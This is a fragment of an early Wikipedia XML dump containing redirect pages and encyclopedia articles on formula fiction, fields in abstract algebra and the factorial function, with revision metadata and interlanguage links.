[[fr:Français]]
[[ga:Fraincis]]
[[gl:Lingua francesa]]
[[ko:프랑스어]]
[[hr:Francuski jezik]]
[[io:Franciana linguo]]
[[ilo:Pagsasao a Franses]]
[[id:Bahasa Perancis]]
[[ia:Lingua francese]]
[[iu:ᐅᐃᕖᑎᑐᑦ]]
[[is:Franska]]
[[it:Lingua francese]]
[[he:צרפתית]]
[[ka:ფრანგული ენა]]
[[kw:Frynkek]]
[[ku:Zimanê fransî]]
[[la:Lingua Francogallica]]
[[lv:Franču valoda]]
[[lt:Prancūzų kalba]]
[[li:Frans]]
[[ln:Lifalansé]]
[[hu:Francia nyelv]]
[[mk:Француски јазик]]
[[nl:Frans]]
[[nds:Franzöösche Spraak]]
[[ja:フランス語]]
[[no:Fransk språk]]
[[nn:Fransk språk]]
[[oc:Francés]]
[[os:Францусаг æвзаг]]
[[pl:Język francuski]]
[[pt:Língua francesa]]
[[ro:Limba franceză]]
[[rm:Lingua franzosa]]
[[ru:Французский язык]]
[[se:Fránskkagiella]]
[[sc:Limba frantzesa]]
[[sco:French leid]]
[[sq:Gjuha Frënge]]
[[simple:French language]]
[[sk:Francúzština]]
[[sl:Francoščina]]
[[sr:Француски језик]]
[[fi:Ranskan kieli]]
[[sv:Franska]]
[[tl:Wikang Pranses]]
[[ta:பிரெஞ்சு மொழி]]
[[th:ภาษาฝรั่งเศส]]
[[vi:Tiếng Pháp]]
[[tr:Fransızca]]
[[zh:法语]]</text>
    </revision>
  </page>
  <page>
    <title>Feminist Film Theory</title>
    <id>10598</id>
    <revision>
      <id>15908399</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Feminist film theory]]
</text>
    </revision>
  </page>
  <page>
    <title>Formalist Film Theory</title>
    <id>10599</id>
    <revision>
      <id>15908400</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Formalist film theory]]
</text>
    </revision>
  </page>
  <page>
    <title>Formula fiction</title>
    <id>10600</id>
    <revision>
      <id>34687776</id>
      <timestamp>2006-01-11T00:49:08Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">In [[popular culture]], '''formula fiction''' is [[literature]] in which the storylines and plots have been reused to the extent that the narratives are predictable.  It is similar to [[genre fiction]], which identifies a number of specific settings that are frequently reused.  The label of ''formula fiction'' is used in [[literary criticism]] as at least a mild [[pejorative]] to imply lack of originality.  

Formula fiction is similar to genre fiction. The label of genre fiction is typically assigned because of the reuse of settings, content, layout, and/or style. The label of formula fiction is assigned because of the reuse of plot, [[plot device]]s and [[stock character]]s.  

Genres like [[high fantasy]], [[Western movie|Westerns]] and [[science fiction]] [[space opera]] have specific settings, like the Old West, or outer space.  Approaching the genre, certain assumed background information covers the nature and purpose of predictable elements of the story, such as the appearance of [[European dragon|dragon]]s in [[high fantasy]], [[warp drive]]s in [[science fiction]], or [[gunfight|shootouts]] at high noon in [[Western movie|Westerns]]. These set-ups are taken for granted by the genre conventions, and need not be explained for the reader anew.  

The ''formula'' is defined specifically by predictable narrative structure.  Formulaic tales such as ''[[Adultery in Academia]]'', ''[[My Jewish Childhood]]'', or ''[[Beat Generation|Beatniks]] Wandering the [[Midwest]]'' incorporate plots that have been reused so often as to be easily recognizable.  Perhaps the most clearly formulaic plots characterize the [[romantic comedy]] genre; in a book or film labeled as such, viewers already know its basic plot.

In film, the reuse of similar settings and plot motifs is called the [[Hollywood cycles]].


== External links ==
* [http://www.ipl.org/div/farq/plotFARQ.html The &quot;Basic&quot; Plots in Literature]

[[Category:Literature]]
[[Category:Fiction]]
[[Category:Literary genres]]


[[de:Trivialliteratur]]</text>
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  <page>
    <title>Fungi</title>
    <id>10601</id>
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  </page>
  <page>
    <title>Field (mathematics)</title>
    <id>10603</id>
    <revision>
      <id>41464764</id>
      <timestamp>2006-02-27T14:56:51Z</timestamp>
      <contributor>
        <username>Abu Amaal</username>
        <id>265666</id>
      </contributor>
      <comment>/* See also */ integral domain, field of fractions</comment>
      <text xml:space="preserve">In [[abstract algebra]], a '''field''' is an [[algebraic structure]] in which the operations of addition, subtraction, multiplication and [[division (mathematics)|division]] (except division by zero) may be performed, and the same rules hold which are familiar from the [[arithmetic]] of ordinary [[number]]s.

==Introduction==
Fields are important objects of study in algebra since they provide a useful generalization of many number systems, such as the [[rational number|rational numbers]], [[real number|real numbers]], and [[complex number]]s. In particular, the usual rules of [[associativity]], [[commutativity]] and [[distributivity]] hold. Fields also appear in many other areas of mathematics; see the examples below.

When abstract algebra was first being developed, the definition of a field usually did not include commutativity of multiplication, and what we today call a field would have been called either a ''commutative field'' or a ''rational domain''. In contemporary usage, a field is always commutative. A structure which satisfies all the properties of a field except for commutativity, is today called a ''[[division ring]]'' or sometimes a ''skew field'', but also ''non-commutative field'' is still widely used. Other languages have retained the old usage: for example, in [[Italian (language)|Italian]] and [[French (language)|French]], division rings are called ''corpo'' and ''corps'', both literally meaning 'body'. Instead, in [[German (language)|German]] and [[Spanish (language)|Spanish]], ''Körper'' (whence the [[blackboard bold]] '''K''' used to denote a field) and ''cuerpo'' mean 'field'. Notice that French language has no single word for field, they are simply called ''corps commutatif''. Italian for field is ''campo'', with the same literal meaning as English.

The concept of a field is of use, for example, in defining [[vector space|vector]]s and [[matrix_(mathematics)|matrices]], two structures in [[linear algebra]] whose components can be elements of an arbitrary field.  [[Galois theory]] studies the symmetry of equations by investigating the ways in which fields can be contained in each other.  See [[field theory (mathematics)|field theory]] for more information.

== History ==

In 1910 [[Ernst Steinitz]] gave the first axiomatic definition of a field in his paper ''Algebraische Theorie der Körper'' ([[german language|german]]:algebraic theory of fields).

==Definition==
A ''field'' is a [[commutative ring]] (''F'', +, *) such that 0 does not equal 1 and all elements of ''F'' except 0 have a multiplicative inverse. (Note that 0 and 1 here stand for the identity elements for the + and * operations respectively, not the actual numbers [[0]] and [[1]])

Spelled out, this means that the following hold:

; Closure of ''F'' under + and * : For all ''a'', ''b'' belonging to ''F'', both ''a'' + ''b'' and ''a'' * ''b'' belong to ''F'' (or more formally, + and * are [[binary operations]] on ''F'').

; Both + and * are associative : For all ''a'', ''b'', ''c'' in ''F'', ''a'' + (''b'' + ''c'') = (''a'' + ''b'') + ''c''  and  ''a'' * (''b'' * ''c'') = (''a'' * ''b'') * ''c''.

; Both + and * are commutative : For all ''a'', ''b'' belonging to ''F'', ''a'' + ''b'' = ''b'' + ''a'' and ''a'' * ''b'' = ''b'' * ''a''.

; The operation * is distributive over the operation + : For all ''a'', ''b'', ''c'', belonging to ''F'', ''a'' * (''b'' + ''c'') = (''a'' * ''b'') + (''a'' * ''c'').

; Existence of an additive identity :  There exists an element 0 in ''F'', such that for all ''a'' belonging to ''F'', ''a'' + 0 = ''a''.

; Existence of a multiplicative identity : There exists an element 1 in ''F'' different from 0, such that for all ''a'' belonging to ''F'', ''a'' * 1 = ''a''.

; Existence of additive inverses : For every ''a'' belonging to ''F'', there exists an element &amp;minus;''a'' in ''F'', such that   ''a'' + (&amp;minus;''a'') = 0.

; Existence of multiplicative inverses : For every ''a'' &amp;ne; 0 belonging to ''F'', there exists an element ''a''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; in ''F'', such that ''a'' * ''a''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; = 1.

The requirement 0 &amp;ne; 1 ensures that the set which only contains a single element is not a field. Directly from the axioms, one may show that (F, +) and (F &amp;minus; {0}, *) are commutative [[group (mathematics)|groups]] ([[abelian group|abelian groups]]) and that therefore (see [[elementary group theory]]) the additive inverse &amp;minus;''a'' and the multiplicative inverse ''a''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; are uniquely determined by ''a''. Furthermore, the multiplicative inverse of a product is equal to the product of the inverses:
:(''a*b'')&lt;sup&gt;&amp;minus;1&lt;/sup&gt; = ''b''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; * ''a''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; = ''a''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; * ''b''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;
provided both ''a'' and ''b'' are non-zero. Other useful rules include
:&amp;minus;''a'' = (&amp;minus;1) * ''a''
and more generally
:&amp;minus;(''a * b'') = (&amp;minus;''a'') * b = ''a'' * (&amp;minus;''b'')
as well as
:''a'' * 0 = 0,
all rules familiar from elementary [[arithmetic]].

If the requirement of commutativity of the operation * is dropped, one distinguishes the above '''commutative fields''' from  '''non-commutative fields''', usually called [[division ring]]s or ''skew fields''.

== Examples of fields ==

*The [[complex number|complex numbers]] '''C''', under the usual operations of addition and multiplication. The field of complex numbers contains the following ''subfields'' (a subfield of a field ''F'' is a set containing 0 and 1, closed under the operations + and * of ''F'' and with its own operations defined by restriction):
**The [[rational number|rational numbers]] '''Q''' = { ''a''/''b'' | ''a'', ''b'' in '''Z''', ''b'' &amp;ne; 0 } where '''Z''' is the set of [[integer|integers]]. The rational number field contains no proper subfields.
**An [[algebraic number field]] is a finite field extension of the [[rational number]]s '''Q''', that is, a field containing '''Q''' which has finite dimension as a [[vector space]] over '''Q'''. Such fields are very important in [[number theory]].
**The field of [[algebraic number|algebraic numbers]], the [[algebraic closure]] of '''Q'''.
**The [[real number|real numbers]] '''R''', under the usual operations of addition and multiplication. When the real numbers are given the usual ordering, they form a ''complete ordered field'' which is categorical &amp;mdash; it is this structure that provides the foundation for most formal treatments of [[calculus]].
***The real numbers contain several interesting subfields: the real [[algebraic number]]s, the [[computable number]]s, and the [[definable number]]s.
*If ''q'' &gt; 1 is a power of a [[prime number]], then there exists ([[up to]] [[isomorphism]]) exactly one [[finite field]] with ''q'' elements, usually denoted '''F'''&lt;sub&gt;''q''&lt;/sub&gt;, '''Z'''/''q'''''Z''', or GF(''q''). Every other finite field is isomorphic to one of these fields. Such fields are often called a [[Galois field]], whence the notation GF(''q'').
**In particular, for a given prime number ''p'', the set of integers modulo ''p'' is a finite field with ''p'' elements: '''F'''&lt;sub&gt;''p''&lt;/sub&gt; = {0, 1, ..., ''p''&amp;nbsp;&amp;minus;&amp;nbsp;1} where the operations are defined by performing the operation in '''Z''', dividing by ''p'' and taking the remainder; see [[modular arithmetic]].
***Taking ''p'' = 2, we obtain the smallest field, '''F'''&lt;sub&gt;2&lt;/sub&gt;, which has only two elements: 0 and 1. It can be defined by the two [[Cayley table| Cayley tables]]

      [[XOR|+]]  '''0'''  '''1'''        [[Logical AND|*]]  '''0'''  '''1'''
      '''0'''  0  1        '''0'''  0  0
      '''1'''  1  0        '''1'''  0  1

::::This field has important uses in [[computer science]], especially in [[cryptography]] and [[coding theory]].
*The rational numbers can be extended to the fields of [[p-adic numbers|''p''-adic numbers]] for every prime number ''p''. These fields are very important in both [[number theory]] and [[mathematical analysis]].
*Let ''E'' and ''F'' be two fields with ''F'' a subfield of ''E''. Let ''x'' be an element of ''E'' not in ''F''.  Then ''F''(''x'') is defined to be the smallest subfield of ''E'' containing ''F'' and ''x''. We call ''F''(''x'') a ''simple extension'' of ''F''. For instance, '''Q'''(''i'') is the number field of complex numbers '''C''' consisting of all numbers of the form ''a'' + ''bi'' where both ''a'' and ''b'' are rational numbers. In fact, it can be shown that every number field is a simple extension of '''Q'''.
*For a given field ''F'', the set ''F''(''X'') of [[rational function]]s in the variable ''X'' with coefficients in ''F'' is a field; this is defined as the set of quotients of [[polynomial|polynomials]] with coefficients in ''F''. This is the simplest example of a ''transcendental extension''.
*If ''F'' is a field, and ''p''(''X'') is an [[irreducible polynomial]] in the [[polynomial ring]] ''F''[''X''], then the quotient ''F''[''X'']/&lt;''p''(''X'')&gt; is a field with a subfield isomorphic to ''F''. For instance, '''R'''[''X'']/&lt;''X''&lt;sup&gt;2&lt;/sup&gt; + 1&gt; is a field (in fact, it is isomorphic to the field of complex numbers). It can be shown that every simple algebraic extension of ''F'' is isomorphic to a field of this form.
*When ''F'' is a field, the set ''F''((''X'')) of [[Laurent series|formal Laurent series]] over ''F'' is a field.
*If ''V'' is an [[algebraic variety]] over ''F'', then the rational functions ''V'' &amp;rarr; ''F'' form a field, the ''function field'' of ''V''.
*If ''S'' is a [[Riemann surface]], then the [[meromorphic function]]s ''S'' &amp;rarr; '''C''' form a field.
*If ''I'' is an index set, ''U'' is an [[ultrafilter]] on ''I'', and ''F''&lt;sub&gt;''i''&lt;/sub&gt; is a field for every ''i'' in ''I'', the [[ultraproduct]] of the ''F''&lt;sub&gt;''i''&lt;/sub&gt; (using ''U'') is a field.
*[[Hyperreal numbers]] and [[superreal number]]s extend the real numbers with the addition of infinitesimal and infinite numbers.

There are also proper classes with field structure, which are sometimes called '''Fields''', with a capital F:
*The [[surreal number]]s form a Field containing the reals, and would be a field except for the fact that they are a proper class, not a set.  The set of all surreal numbers with birthday smaller than some [[inaccessible cardinal]] form a field.
*The [[nimber]]s form a Field. The set of nimbers with birthday smaller than &lt;math&gt;2^{2^n}&lt;/math&gt;, the nimbers with birthday smaller than any infinite [[cardinal number|cardinal]] are all examples of fields.

== Some first theorems ==
*The set of non-zero elements of a field ''F'' (typically denoted by ''F''&lt;sup&gt;&amp;times;&lt;/sup&gt;) is an [[abelian group]] under multiplication. Every finite subgroup of ''F''&lt;sup&gt;&amp;times;&lt;/sup&gt; is [[cyclic group|cyclic]].

*The [[characteristic (algebra)|characteristic]] of any field is zero or a [[prime number]]. (The characteristic is defined as follows: the smallest positive integer ''n'' such that ''n''·1 = 0, or zero if no such ''n'' exists; here ''n''·1 stands for ''n'' summands 1 + 1 + 1 + ... + 1. An equivalent definition is the following: the characteristic of a field ''F'' is the unique non-negative generator of the kernel of the unique ring homomorphism '''Z''' &amp;rarr; ''F'' which sends 1 |-&gt; 1.)

*The number of elements of any [[finite field]] is a prime power.

*As a ring, a field has no [[Ideal (ring theory)|ideal]]s except {0} and itself.

*Assuming the [[axiom of choice]], for every field ''F'', there exists a unique field ''G'' (up to isomorphism) which contains ''F'', is [[algebraic extension|algebraic]] over ''F'', and is [[algebraically closed]]. ''G'' is called the [[algebraic closure]] of ''F''.

==See also==

{{Wikibookspar|Abstract algebra|Fields}}

* [[field theory (mathematics)|field theory]] for some history and other information.
* [[Glossary of field theory]] for more definitions in field theory.
* [[Differential field]], a field equipped with a [[derivation (abstract algebra)|derivation]].
* [[Integral domain]] and its [[Field of fractions]]

[[Category:Field theory]]

[[ca:Cos (matemàtiques)]]
[[cs:Těleso (algebra)]]
[[da:Legeme (matematik)]]
[[de:Körper (Algebra)]]
[[eo:Korpo (algebro)]]
[[es:Cuerpo (matemáticas)]]
[[et:Korpus (matemaatika)]]
[[fa:میدان (ریاضی)]]
[[fi:Kunta (matematiikka)]]
[[fr:Corps (mathématiques)]]
[[he:שדה (מבנה אלגברי)]]
[[hu:Test (algebra)]]
[[io:Feldo (algebro)]]
[[it:Campo (matematica)]]
[[ja:体 (数学)]]
[[ko:체 (수학)]]
[[nl:Lichaam (algebra)]]
[[pl:Ciało (matematyka)]]
[[pt:Corpos (matemática)]]
[[ru:Поле (алгебра)]]
[[sk:Pole (algebra)]]
[[sl:Polje (matematika)]]
[[sv:Kropp (matematik)]]
[[zh:域 (数学)]]</text>
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    <title>Film Festivals</title>
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    <title>FrenchMaterialism</title>
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  <page>
    <title>Factorial</title>
    <id>10606</id>
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        <username>Wholmestu</username>
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      <text xml:space="preserve">:''This article is not about [[factorial experiment]]s.''

In [[mathematics]], the '''factorial''' of a [[natural number]] ''n'' is the product of all  [[negative and non-negative numbers|positive]] [[integer]]s less than and equal to ''n''. This is written as ''n''! and pronounced &quot;''n'' factorial&quot;. The notation ''n''! was introduced by [[Christian Kramp]] in [[1808]]. 

The [[sequence]] of factorials {{OEIS|id=A000142}} for ''n''&amp;nbsp;=&amp;nbsp;0, 1, 2,... starts:

:1, 1, 2, [[6 (number)|6]], [[24 (number)|24]], [[120 (number)|120]], [[720 (number)|720]], [[5040 (number)|5040]], 40320, 362880, 3628800, 39916800, 479001600, 6227020800, 87178291200, 1307674368000, 20922789888000, 355687428096000, 6402373705728000, 121645100408832000, 2432902008176640000, ...

This shows how quickly factorial numbers grow.

==Definition==

The factorial function is formally defined by

:&lt;math&gt;n!=\prod_{k=1}^n k\qquad\mbox{for all }n \ge 1. \!&lt;/math&gt;

For example,

:&lt;math&gt;5! = 1\times 2 \times 3 \times 4 \times 5 = 120.&lt;/math&gt;

The fact that

:&lt;math&gt;0! = 1&lt;/math&gt;

is an instance of the fact that the [[empty product|product of no numbers at all]] is 1.  This fact for factorials is useful, because

* the [[recursion|recursive]] relation (''n'' + 1)! = ''n''! &amp;times; (''n'' + 1) works for ''n'' = 0;
* this definition makes many identities in [[combinatorics]] valid for zero sizes.

==Non-integer factorials==

[[Image:Gamma_plot.svg|thumb|right|325px|The Gamma function, as plotted here along the [[real axis]], extends the factorial to a smooth function defined for all non-integer values.]]

The factorial function can also be defined for non-integer values, but this requires more advanced tools from [[mathematical analysis]]. The function that &quot;fills in&quot; the values of the factorial between the integers is called the [[Gamma function]], denoted &lt;math&gt;\Gamma&lt;/math&gt; and for ''z'' &gt; &amp;minus;1 defined by

:&lt;math&gt;\Gamma(z+1)=\int_{0}^{\infty} t^z e^{-t}\, \mathrm{d}t. \!&lt;/math&gt;

The Gamma function is related to factorials in that it satisfies a similar recursive relationship:

:&lt;math&gt;n!=n(n-1)! \,&lt;/math&gt;
:&lt;math&gt;\Gamma(n+1)=n\Gamma(n) \,&lt;/math&gt;

Together with &lt;math&gt;\Gamma(1)=1&lt;/math&gt; this yields the equation for any nonnegative integer ''n'':

:&lt;math&gt;\Gamma(n+1)=n!\,\!&lt;/math&gt;

Based on the Gamma function's value for 1/2, the specific example of [[half-integer]] factorials is resolved to
:&lt;math&gt;(n+1/2)!=\sqrt{\pi}\times \prod_{k=0}^n {2k + 1 \over 2}.&lt;/math&gt;

For example
:&lt;math&gt;3.5! = \sqrt{\pi} \cdot {1\over 2}\cdot{3\over2}\cdot{5\over2}\cdot{7\over2} \approx 11.63.&lt;/math&gt;

The Gamma function is in fact defined for all [[complex number|complex numbers]] ''z'' except for the nonpositive integers (''z''&amp;nbsp;=&amp;nbsp;0,&amp;nbsp;&amp;minus;1,&amp;nbsp;&amp;minus;2,&amp;nbsp;&amp;minus;3,&amp;nbsp;...) where it goes to infinity. It is often thought of as a generalization of the factorial function to the complex domain, which is justified for the following reasons:
* Shared meaning. The canonical definition of the factorial function is the mentioned recursive relationship, shared by both.
* Context. The Gamma function is generally used in a context similar to that of the factorials (but, of course, where a more general domain is of interest).
* Uniqueness ([[Bohr–Mollerup theorem]]). The Gamma function is the only function which satisfies the mentioned recursive relationship for the domain of complex numbers and is [[holomorphic]] and whose restriction to the positive real axis is [[log-convex]].  That is, it is the only function that could possibly be a generalization of the factorial function.

== Applications ==

* Factorials are important in [[combinatorics]]. For example, there are ''n''! different ways of arranging ''n'' distinct objects in a sequence. (The arrangements are called [[permutation]]s.) And the number of ways one can choose ''k'' objects from among a given set of ''n'' objects (the number of [[combinations]]), is given by the so-called [[binomial coefficient]]
:&lt;math&gt;{n\choose k}={n!\over k!(n-k)!}.&lt;/math&gt;

* Factorials also turn up in [[calculus]]. For example, [[Taylor's theorem]] expresses a function ''f''(''x'') as a [[power series]] in ''x'', basically because the ''n''-th [[derivative]] of ''x''&lt;sup&gt;''n''&lt;/sup&gt; is ''n''!.  

* The [[volume]] of an ''n''-[[dimension]]al [[hypersphere]] can be expressed as:
:&lt;math&gt;V_n={\pi^{n/2}R^n\over (n/2)!}.&lt;/math&gt;
Note that the Gamma function is required for odd dimensions and that its value cancels out the apparent fractional power of &lt;math&gt;\pi&lt;/math&gt; in those cases.

* Factorials are also used extensively in [[probability theory]]. 

* Factorials are often used as a simple example, along with [[Fibonacci number]]s, when teaching [[recursion]] in [[computer science]] because they satisfy the following recursive relationship (if ''n'' &amp;ge; 1):

:&lt;math&gt; n! = n \times (n-1)!. \,&lt;/math&gt;

* Factorials are important in [[number theory]]. Among other properties, all factorials are [[highly abundant number]]s.

==Rate of growth==
[[Image:Log-factorial.PNG|300px|thumb|right|Plot of the natural logarithm of the factorial]]
As ''n'' grows, the factorial ''n''! becomes larger than all [[polynomial]]s and [[exponential function]]s in ''n''.

When ''n'' is large, ''n''! can be estimated quite accurately using [[Stirling's approximation]]:

:&lt;math&gt;n!\sim \sqrt{2\pi n}\left(\frac{n}{e}\right)^n&lt;/math&gt;

A weak version that can be proved with [[mathematical induction]] is&lt;!-- Someone might wish to add the proof... --&gt;

:&lt;math&gt;\left({n \over 3}\right)^n &lt; n! &lt; \left({n \over 2}\right)^n\ \mbox{if}\ n\geq 6.\,&lt;/math&gt;

The [[logarithm]] of the factorial can be used to calculate the number of digits in a given base the factorial of a given number will take. log ''n''! can easily be calculated as follows:

:&lt;math&gt;\sum_{k=1}^n{\log k}&lt;/math&gt;

Note that this function, if graphed, is approximately [[linear function|linear]], for small values; but the factor &lt;math&gt;{\log n!} \over n&lt;/math&gt; does grow arbitrarily large, although quite slowly. The graph of log(''n''!) for ''n'' between 0 and 20,000 is shown in the figure on the right.

A good approximation for log ''n''! based on Stirling's approximation is

:&lt;math&gt;\ln(n!) \approx n\ln(n) - n + \frac {\ln(n)} {2} + \frac {\ln(2 \pi)} {2}.&lt;/math&gt;

One can see from this that log(''n''!) is [[Big O notation|&amp;Omicron;]](''n'' log ''n'').  This result plays a key role in the analysis of the [[computational complexity theory|computational complexity]] of [[sorting algorithm]]s.

==Computation==

The numeric value of ''n''! can be calculated by repeated multiplication if ''n'' is not too large. That is basically what pocket calculators do. The largest factorial that most calculators can handle is 69!, because 70!&amp;nbsp;&gt;&amp;nbsp;10&lt;sup&gt;100&lt;/sup&gt;. In practice, most software applications use only small factorials which can be computed by direct multiplication or table lookup. Larger values are often approximated in terms of [[floating-point]] estimates of the [[Gamma function]], usually with [[Stirling's formula]].

For [[number theory|number theoretic]] and [[combinatorics|combinatorial]] computations, very large exact factorials are often needed. [[Bignum]] factorials can be computed by direct multiplication, but multiplying the sequence 1&amp;times;2&amp;times;...&amp;times;''n'' from the bottom up (or top-down) is inefficient; it is better to recursively split the sequence so that the size of each subproduct is minimized.

The asymptotically-best efficiency is obtained by computing ''n''! from its prime factorization. The prime factors in ''n''! are all lesser than or equal to ''n'', and the power of ''p'' occurring in the prime factorization of ''n''! is

:&lt;math&gt;\sum_{i=1}^{\infty} \lfloor n/p^i \rfloor&lt;/math&gt;.

As documented by [[Peter Borwein]], prime factorization allows ''n''! to be computed in time [[Big O notation|O]](''n''(log ''n'' log log ''n'')&lt;sup&gt;2&lt;/sup&gt;), provided that a fast [[multiplication algorithm]] is used (for example, [[Schönhage-Strassen multiplication]]).{{ref|borwein}} Peter Luschny presents source code and benchmarks for several efficient factorial algorithms, with or without the use of a [[prime sieve]].{{ref|luschny}}

==Factorial-like products==

===Primorial===
The [[primorial]] is similar to the factorial, but with the product taken only over the [[prime number]]s.

===Multifactorials===

A common related notation is to use multiple exclamation points to denote a '''multifactorial''', the product of integers in steps of two (''n''!!), three (''n''!!!), or more.

''n''!! denotes the '''double factorial''' of ''n'' and is defined recursively by

:&lt;math&gt;
  n!!=
  \left\{
   \begin{matrix}
    1,\qquad\quad\ &amp;&amp;\mbox{if }n=0\mbox{ or }n=1;
   \\
    n(n-2)!!&amp;&amp;\mbox{if }n\ge2.\qquad\qquad
   \end{matrix}
  \right.
 &lt;/math&gt;

For example, 8!! = 2 · 4 · 6 · 8 = [[384 (number)|384]] and 9!! = 1 · 3 · 5 · 7 · 9 = 945. The sequence of double factorials {{OEIS|id=A006882}} for ''n'' = 0, 1, 2,... starts
:1, 1, 2, 3, [[8 (number)|8]], [[15 (number)|15]], [[48 (number)|48]], [[105 (number)|105]], 384, 945, 3840, ...

Some identities involving double factorials are:
:&lt;math&gt;n!=n!!(n-1)!! \,&lt;/math&gt;

:&lt;math&gt;(2n)!!=2^nn! \,&lt;/math&gt;

:&lt;math&gt;(2n+1)!!={(2n+1)!\over(2n)!!}={(2n+1)!\over2^nn!}&lt;/math&gt;

:&lt;math&gt;\Gamma\left(n+{1\over2}\right)=\sqrt\pi{(2n-1)!!\over2^n}&lt;/math&gt;

One should be careful not to interpret ''n''!! as the factorial of ''n''!, which would be written (''n''!)! and is a much larger number (for ''n''&gt;2). Some mathematicians have suggested an alternative notation of ''n''!&lt;sub&gt;2&lt;/sub&gt; for the double factorial and similarly ''n''!&lt;sub&gt;n&lt;/sub&gt; for other multifactorials, but this has not come into general use.

The double factorial is the most commonly used variant, but one can similarly define the triple factorial (''n''!!!) and so on. In general, the ''k''-th factorial, denoted by ''n''!&lt;sup&gt;(''k'')&lt;/sup&gt;, is defined recursively as

:&lt;math&gt;
  n!^{(k)}=
  \left\{
   \begin{matrix}
    1,\qquad\qquad\ &amp;&amp;\mbox{if }0\le n&lt;k;
   \\
    n(n-k)!^{(k)},&amp;&amp;\mbox{if }n\ge k.\quad\ \ \,
   \end{matrix}
  \right.
 &lt;/math&gt;

===Hyperfactorials===

:''Main article: [[Hyperfactorial]]''

Occasionally the '''hyperfactorial''' of ''n'' is considered. It is written as ''H''(''n'') and defined by

:&lt;math&gt;
  H(n)
  =\prod_{k=1}^n k^k
  =1^1\cdot2^2\cdot3^3\cdots(n-1)^{n-1}\cdot n^n.
 &lt;/math&gt;

For ''n'' = 1, 2, 3, 4,... the values of ''H''(''n'') are 1, 4, [[108 (number)|108]], 27648,... {{OEIS|id=A002109}}.

The hyperfactorial function is similar to the factorial, but produces larger numbers. The rate of growth of this function, however, is not much larger than a regular factorial.

===Superfactorials===

[[Neil Sloane]] and [[Simon Plouffe]] defined the '''superfactorial''' in 1995 as the product of the first ''n'' factorials.  So the superfactorial of 4 is

:&lt;math&gt; \mathrm{sf}(4)=1! \times 2! \times 3! \times 4!=288 \,&lt;/math&gt;

In general

:&lt;math&gt;
  \mathrm{sf}(n)
  =\prod_{k=1}^n k! =\prod_{k=1}^n k^{n-k+1}
  =1^n\cdot2^{n-1}\cdot3^{n-2}\cdots(n-1)^2\cdot n^1.
 &lt;/math&gt;

The sequence of superfactorials starts (from ''n''&amp;nbsp;=&amp;nbsp;0) as

:1, 1, 2, [[12 (number)|12]], 288, 34560, 24883200, ... {{OEIS|id=A000178}}

This idea was extended in 2000 by [[Henry Bottomley]] to the '''superduperfactorial''' as the product of the first ''n'' superfactorials, starting (from ''n''&amp;nbsp;=&amp;nbsp;0) as

:1, 1, 2, 24, 6912, 238878720, 5944066965504000, ... {{OEIS|id=A055462}}

and thus [[recursion|recursively]] to any '''multiple-level factorial''' where the ''m''th-level factorial of ''n'' is the product of the first ''n'' (''m''&amp;nbsp;&amp;minus;&amp;nbsp;1)th-level factorials, i.e.

:&lt;math&gt;\mathrm{mf}(n,m) = \mathrm{mf}(n-1,m)\mathrm{mf}(n,m-1)
  =\prod_{k=1}^n k^{n-k+m-1 \choose n-k} &lt;/math&gt;

where &lt;math&gt;\mathrm{mf}(n,0)=n&lt;/math&gt; for &lt;math&gt;n&gt;0&lt;/math&gt; and &lt;math&gt;\mathrm{mf}(0,m)=1&lt;/math&gt;.

===Superfactorials (alternative definition)===

[[Clifford Pickover]] in his 1995 book ''Keys to Infinity'' defined the '''superfactorial''' of ''n'', written as ''n''$ (the $ should really be a factorial sign ! with an S superimposed) as
:&lt;math&gt;n\$\equiv \begin{matrix} \underbrace{ n!^{{n!}^{{\cdot}^{{\cdot}^{{\cdot}^{n!}}}}}} \\ n! \end{matrix} \,&lt;/math&gt;,
or as,
:&lt;math&gt;n\$=n^{(4)}n \,&lt;/math&gt;
where the &lt;sup&gt;(4)&lt;/sup&gt; notation denotes the [[hyper4]] [[operator]], or using [[Knuth's up-arrow notation]],
:&lt;math&gt;n\$=(n!)\uparrow\uparrow(n!) \,&lt;/math&gt;
This sequence of superfactorials starts:
:&lt;math&gt;1\$=1 \,&lt;/math&gt;
:&lt;math&gt;2\$=2^2=4 \,&lt;/math&gt;
:&lt;math&gt;3\$=6\uparrow\uparrow6=6^{6^{6^{6^{6^6}}}} \!&lt;/math&gt;

==See also==

* [[Alternating factorial]]
* [[Digamma function]]
* [[Exponential factorial]]
* [[Factorial prime]]
* [[Factoradic]]

==References==
* {{note|borwein}} Peter Borwein. &quot;On the Complexity of Calculating Factorials&quot;. ''Journal of Algorithms'' 6, 376-380 (1985)
* {{note|luschny}} Peter Luschny. [http://www.luschny.de/math/factorial/FastFactorialFunctions.htm ''The Homepage of Factorial Algorithms''].

==External links==
* [http://membres.lycos.fr/rsirdey/facttabl.htm table of 2! - 256! (exact)]
* http://factorielle.free.fr
* [http://home.earthlink.net/~mrob/pub/math/largenum-2.html The Dictionary of Large Numbers]

[[Category:Combinatorics]]
[[Category:Number theory]]
[[Category:Gamma and related functions]]

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    <title>Flatt and Scruggs</title>
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        <username>Cmadler</username>
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      <comment>Moved content, redirect to &quot;Foggy Mountain Boys&quot;</comment>
      <text xml:space="preserve">#REDIRECT[[Foggy Mountain Boys]]</text>
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    <title>Foundational Disciplines</title>
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        <username>Maveric149</username>
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      <comment>#REDIRECT [[foundational discipline]] </comment>
      <text xml:space="preserve">#REDIRECT [[foundational discipline]]</text>
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    <title>Film Genres</title>
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        <username>Wiki alf</username>
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      </contributor>
      <comment>red Cinematic genre</comment>
      <text xml:space="preserve">#REDIRECT [[Cinematic genre]]</text>
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    <title>Film History/France</title>
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      <text xml:space="preserve">#REDIRECT [[Cinema of France]]</text>
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    <title>Film History/Russia</title>
    <id>10611</id>
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        <username>Blu Aardvark</username>
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      <comment>Corrected redirect</comment>
